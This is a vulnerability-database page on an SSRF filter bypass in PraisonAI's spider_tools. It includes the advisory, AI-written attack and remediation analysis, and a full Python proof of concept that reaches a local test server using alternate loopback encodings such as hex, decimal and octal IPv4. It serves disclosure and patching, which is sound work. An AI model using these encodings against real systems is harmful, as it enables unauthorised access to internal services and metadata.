GHSA-5c6w-wwfq-7qqm
PYSEC-2026-2902
PYSEC-2026-2941
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSupply malicious loopback URL as agent input
-
DeliveryURL passes _validate_url() string blocklist without normalization
-
Exploitrequests.Session.get() resolves alternate encoding to 127.0.0.x
-
ExecutionLoopback HTTP service receives and responds to request
-
PersistResponse body returned in agent output
-
ImpactInternal service data exfiltrated
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Credential Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The attacker must be able to supply or influence a URL that is passed to one of the three spider_tools public fetch functions: scrape_page(), crawl(), or extract_text(). This is a local attack vector (AV:L) requiring user interaction (UI:R) per the CVSS vector, meaning the triggering context is a user running PraisonAI locally and processing attacker-influenced input - such as a crafted document, a seed URL in an agent prompt, or externally sourced task data - rather than direct network exposure of the spider_tools endpoint. No authentication or privileges are required from the attacker (PR:N). Exploitation is limited to HTTP SSRF against services reachable on the loopback interface or potentially other private network ranges; it does not provide arbitrary TCP access or code execution. Deployments that do not expose spider_tools to externally controlled URL input are not directly affected. No default deployment of PraisonAI is known to expose this path to anonymous remote attackers without user interaction. |
| Impact | The CVSS 3.1 score of 5.5 (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N) reflects a local attack vector requiring user interaction, which bounds realistic exposure compared to a fully network-exploitable SSRF. The High confidentiality impact score is consistent with exfiltration of loopback service responses - such as internal admin panel data or cloud instance metadata - into agent output. Attack complexity is Low once the bypass encodings are known, and no privileges are required from the attacker's perspective. A full working PoC was published alongside the advisory with confirmed loopback hits across five bypass variants, meaningfully elevating practical exploitability beyond theoretical. EPSS data is not present in available intelligence. KEV status is negative, suggesting no confirmed widespread in-the-wild exploitation campaigns at this time. A discrepancy exists between the advisory tags (which include 'RCE') and the advisory body (which explicitly disclaims RCE, stating impact is limited to HTTP SSRF); defenders should treat the RCE tag as erroneous metadata - the demonstrated impact is confidentiality loss through loopback SSRF, not code execution. |
| Exploit ScenarioDerived | An attacker supplies a crafted URL such as http://2130706433:8080/ or http://0x7f000001:8080/ as input to a PraisonAI workflow that invokes scrape_page(), crawl(), or extract_text() - for example, via a user-provided seed URL in an AI agent task. The _validate_url() function passes the URL as it does not match any blocked string, and requests.Session.get() resolves and connects to the local loopback interface port 8080, returning the response body - which may contain internal admin panel data, local API credentials, or cloud metadata - directly into the agent's output. A confirmed working PoC is publicly available and demonstrated this against five distinct bypass encodings. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 29, 2026
SSRF protection bypass in PraisonAI's spider_tools component (praisonaiagents <= 1.6.39, PraisonAI <= 4.6.39) allows an attacker who can influence URLs submitted to scrape_page(), crawl(), or extract_text() to reach loopback-only HTTP services by supplying alternate loopback address encodings such as octal IPv4, hex, decimal integer, or trailing-dot hostname forms. The _validate_url() function performs only exact-string blocklist checks against 'localhost' and '127.0.0.1', without DNS resolution, IP normalization, or post-connect address validation, causing the bypass. Publicly available exploit code (PoC) has been confirmed functional; no active exploitation via CISA KEV has been identified at time of analysis.
RemediationAI
Upgrade praisonaiagents to version 1.6.40 or later and PraisonAI to version 4.6.40 or later; these are the vendor-released patched versions per the GitHub advisory at https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-5c6w-wwfq-7qqm. If immediate upgrade is not possible, a targeted workaround is to replace the string-based blocklist in spider_tools._validate_url() with a pre-fetch DNS resolution step that resolves the hostname to an IP address and then checks whether that IP falls within loopback (127.0.0.0/8), link-local (169.254.0.0/16), or RFC-1918 ranges before allowing the request - this eliminates all alternate encoding bypasses at the cost of an additional DNS lookup per request. Alternatively, replace requests.Session directly with a hardened SSRF-safe library such as ssrf-filter or requests-doh that performs post-resolution destination validation. Do not rely on hostname string matching alone regardless of the blocklist size, as numeric and encoding variants will always escape such checks.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability resides in praisonaiagents/tools/spider_tools.py, a Python module that wraps requests.Session.get() to implement web scraping for the PraisonAI AI agent framework (pip packages praisonaiagents and PraisonAI). CWE-918 (Server-Side Request Forgery) describes the root cause: the application fetches remote URLs controlled by external input without adequately validating the resolved destination. The specific bypass mechanism exploits the fact that TCP/IP networking stacks and HTTP clients resolve multiple equivalent representations of 127.0.0.1/8 loopback space, including octal notation (0177.0.0.1), hexadecimal (0x7f000001), decimal integer (2130706433), short-form IPv4 (127.1), and trailing-dot hostnames (localhost.) - none of which match the blocklist's exact string checks. The fix requires either DNS pre-resolution with bind-address checking or adoption of a hardened SSRF-safe HTTP client library.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Primary rating from Vendor (https://github.com/MervinPraison/PraisonAI) · only source for this CVE.
CVSS VectorVendor: https://github.com/MervinPraison/PraisonAI
DescriptionCVE.org
Summary
PraisonAI's spider_tools URL validation can be bypassed using alternate loopback host encodings.
The affected component is:
praisonaiagents/tools/spider_tools.pyThe tool contains a URL validation function intended to block local or unsafe targets before fetching attacker-controlled URLs. However, the validation only blocks a small set of exact host strings such as localhost and 127.0.0.1.
It does not normalize hostnames, resolve DNS, parse numeric IPv4 variants, or validate the final resolved IP address before making the request.
As a result, URLs such as the following bypass the protection and still reach loopback services:
http://localhost.:8765/
http://127.1:8765/
http://0177.0.0.1:8765/
http://0x7f000001:8765/
http://2130706433:8765/After the weak validation passes, scrape_page() calls requests.Session.get() on the attacker-controlled URL. This allows an attacker who can influence URLs passed to scrape_page, crawl, or extract_text to induce SSRF requests against loopback-only services.
This is a server-side request forgery protection bypass.
Details
The affected code is in:
praisonaiagents/tools/spider_tools.pyThe vulnerable flow is:
attacker-controlled URL
-> spider_tools._validate_url(...)
-> weak exact-host blocklist check
-> validation passes for alternate loopback encodings
-> scrape_page(...)
-> requests.Session.get(attacker_url)
-> loopback service is reachedThe validation appears to block only exact local hostnames or exact IPv4 strings. For example, it blocks simple forms such as:
localhost
127.0.0.1However, equivalent loopback forms are not rejected before the request is made.
Confirmed bypass examples:
http://localhost.:8765/
http://127.1:8765/
http://0177.0.0.1:8765/
http://0x7f000001:8765/
http://2130706433:8765/These values can resolve or be interpreted as loopback addresses by the HTTP client / underlying networking stack, while bypassing the string-based validation.
The issue is not that spider_tools can fetch arbitrary URLs. The issue is that it attempts to provide SSRF protection, but the protection can be bypassed with alternate representations of loopback addresses.
PoC
The following PoC is non-destructive. It starts a local HTTP server on 127.0.0.1:8765, then sends several alternate loopback URL forms through the real spider_tools validation/fetch path.
The expected secure behavior is that all loopback variants should be rejected before any HTTP request is made.
The actual vulnerable behavior is that the alternate loopback forms pass validation and reach the local server.
Full PoC
#!/usr/bin/env python3
"""PoC for PraisonAI spider_tools localhost-alias SSRF bypass."""
from __future__ import annotations
import sys
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from pathlib import Path
REPO_ROOT = Path(__file__).resolve().parents[3] / "repos" / "praisonai"
AGENTS_ROOT = REPO_ROOT / "src" / "praisonai-agents"
SPIDER_TOOLS = AGENTS_ROOT / "praisonaiagents/tools/spider_tools.py"
def verify_source() -> None:
expected = [
"def _validate_url",
"requests.Session",
".get(",
]
text = SPIDER_TOOLS.read_text(encoding="utf-8")
for needle in expected:
if needle not in text:
raise RuntimeError(f"source verification failed: {needle!r} not found in {SPIDER_TOOLS}")
class LocalHandler(BaseHTTPRequestHandler):
hits: list[tuple[str, str | None]] = []
body = b"LOCAL-SPIDER-SSRF-SECRET"
def do_GET(self) -> None:
# noqa: N802
self.__class__.hits.append((self.path, self.headers.get("Host")))
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.send_header("Content-Length", str(len(self.body)))
self.end_headers()
self.wfile.write(self.body)
def log_message(self, format: str, *args) -> None:
# noqa: A003
return
def main() -> int:
if not SPIDER_TOOLS.exists():
raise SystemExit("missing local PraisonAI source tree")
verify_source()
sys.path.insert(0, str(AGENTS_ROOT))
# Import the real shipped implementation.
#
# Depending on the exact public API exposed by spider_tools.py,
# use the exported scrape function available in the local version.
# The important path is:
#
# _validate_url(url)
# -> requests.Session.get(url)
#
import praisonaiagents.tools.spider_tools as spider_tools
server = HTTPServer(("127.0.0.1", 8765), LocalHandler)
thread = threading.Thread(target=server.serve_forever, daemon=True)
thread.start()
candidates = [
"http://localhost.:8765/",
"http://127.1:8765/",
"http://0177.0.0.1:8765/",
"http://0x7f000001:8765/",
"http://2130706433:8765/",
]
try:
for url in candidates:
LocalHandler.hits.clear()
try:
# Prefer the real public scraping API when available.
if hasattr(spider_tools, "scrape_page"):
result = spider_tools.scrape_page(url)
elif hasattr(spider_tools, "extract_text"):
result = spider_tools.extract_text(url)
elif hasattr(spider_tools, "crawl"):
result = spider_tools.crawl(url)
else:
raise RuntimeError("No expected spider_tools public fetch function found")
reached = bool(LocalHandler.hits)
contains_secret = "LOCAL-SPIDER-SSRF-SECRET" in str(result)
print(f"{url} passed=True reached_loopback={reached} contains_secret={contains_secret}")
if not reached:
raise SystemExit(f"[poc] MISS: {url} did not reach loopback server")
except Exception as exc:
print(f"{url} blocked_or_failed={type(exc).__name__}: {exc}")
raise
finally:
server.shutdown()
server.server_close()
thread.join(timeout=1)
print("[poc] HIT: alternate loopback URL forms bypassed spider_tools SSRF protection")
return 0
if __name__ == "__main__":
raise SystemExit(main())Confirmed local result
The following bypasses were confirmed locally:
localhost. True ok ok local hit
127.1 True ok ok local hit
0177.0.0.1 True ok ok local hit
0x7f000001 True ok ok local hit
2130706433 True ok ok local hitThis demonstrates that the validation allows alternate loopback representations and that the request reaches a local-only HTTP service.
Expected secure behavior
All loopback-equivalent addresses should be blocked before the HTTP request is made.
Examples that should be rejected:
http://localhost/
http://localhost./
http://127.0.0.1/
http://127.1/
http://0177.0.0.1/
http://0x7f000001/
http://2130706433/
http://[::1]/Actual vulnerable behavior
Several alternate loopback representations pass validation and are fetched by the tool.
Impact
An attacker who can influence URLs passed to PraisonAI's spider tools can cause the process to send HTTP requests to loopback-only services.
Potential impact includes:
- SSRF against localhost-only admin panels or development servers;
- access to local HTTP services that are not intended to be reachable remotely;
- retrieval of local service responses into the agent/tool output;
- possible access to cloud metadata or private-network services if equivalent bypasses exist for those address ranges in a given deployment.
The most direct confirmed impact is loopback SSRF through alternate hostname/IP encodings.
This report does not claim arbitrary TCP access or remote code execution. The demonstrated behavior is HTTP(S) SSRF through the spider URL-fetching feature.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
EUVD-2026-46278
NVD
CVE.org
EPSS
Exploit-DB